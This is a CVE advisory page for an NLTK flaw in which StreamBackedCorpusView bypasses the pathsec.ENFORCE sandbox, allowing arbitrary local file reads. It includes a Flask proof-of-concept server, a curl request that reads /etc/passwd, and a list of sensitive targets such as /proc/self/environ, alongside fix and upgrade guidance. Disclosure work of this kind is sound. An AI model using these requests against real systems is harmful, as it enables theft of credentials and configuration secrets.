Skip to main content

CVE-2026-63312 — Vulnerability in nltk — CVE Details

HIGH

NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

Published September 8, 2026Updated September 8, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.65%). Schedule for your next planned update.

Does your project use an affected nltk version?

Paste your requirements.txt to check it for CVE-2026-63312 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my requirements.txt

Summary

Summary

Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details

nltk/pathsec.py:274 defines the enforcement point:

def open(file, mode="r", **kwargs):
    validate_path(file, context="pathsec.open")
    return builtins.open(file, mode=mode, **kwargs)

StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size

# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC

# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block

# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True

app = Flask(__name__)

@app.post("/read")
def read_file():
    fname = request.json.get("file")
    # fileid is user-controlled, passed directly to StreamBackedCorpusView
    # pathsec.ENFORCE = True is ignored — builtins.open() called internally
    view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
    return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000)

Trigger:

curl -s -X POST http://localhost:8000/read \
  -H "Content-Type: application/json" \
  -d '{"file": "/etc/passwd"}'

Confirmed on latest stable NLTK. No privileges required.

Impact

  • Type: Arbitrary Local File Read / Security Control Bypass
  • CWE: CWE-22, CWE-284
  • OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().

Advisory Timeline

  • First published September 8, 2026 (79 days ago).
  • Last revised September 8, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update nltk to 3.10.0 or later
pip install "nltk>=3.10.0"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: PyPI (1).

PackageFixed In
nltk PyPI · Affected: 0.8, 0.9, 0.9.3, 0.9.4 (+61 more)3.10.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-63312?
NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2026-63312?
CVE-2026-63312 affects nltk. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-63312 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.65%
EPSS percentile: 45.9

This is a below-median EPSS score — only 45.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-x5ph-mj9p-rfr8
PYSEC-2026-3730

Related CVEs

  • CVE-2026-70626
    HIGH
  • CVE-2026-78682
    HIGH
  • CVE-2026-126299
    HIGH

    NLTK: Quadratic-time CPU denial of service in CCG lexicon parser (fromstring) on wide bracket bodies and operator chains

  • CVE-2026-126303
    HIGH

    NLTK: Unbounded CPU consumption in SteppingRecursiveDescentParser.parse() with ambiguous or self-embedding grammars

  • CVE-2026-81726
    HIGH

    NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots

  • CVE-2026-126298
    HIGH

    NLTK: Quadratic-time CPU denial of service in Tree.chomsky_normal_form right-factor binarization via list.pop(0)

  • CVE-2026-70626
    HIGH

    NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

  • CVE-2026-66393
    MEDIUM

    Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my requirements.txt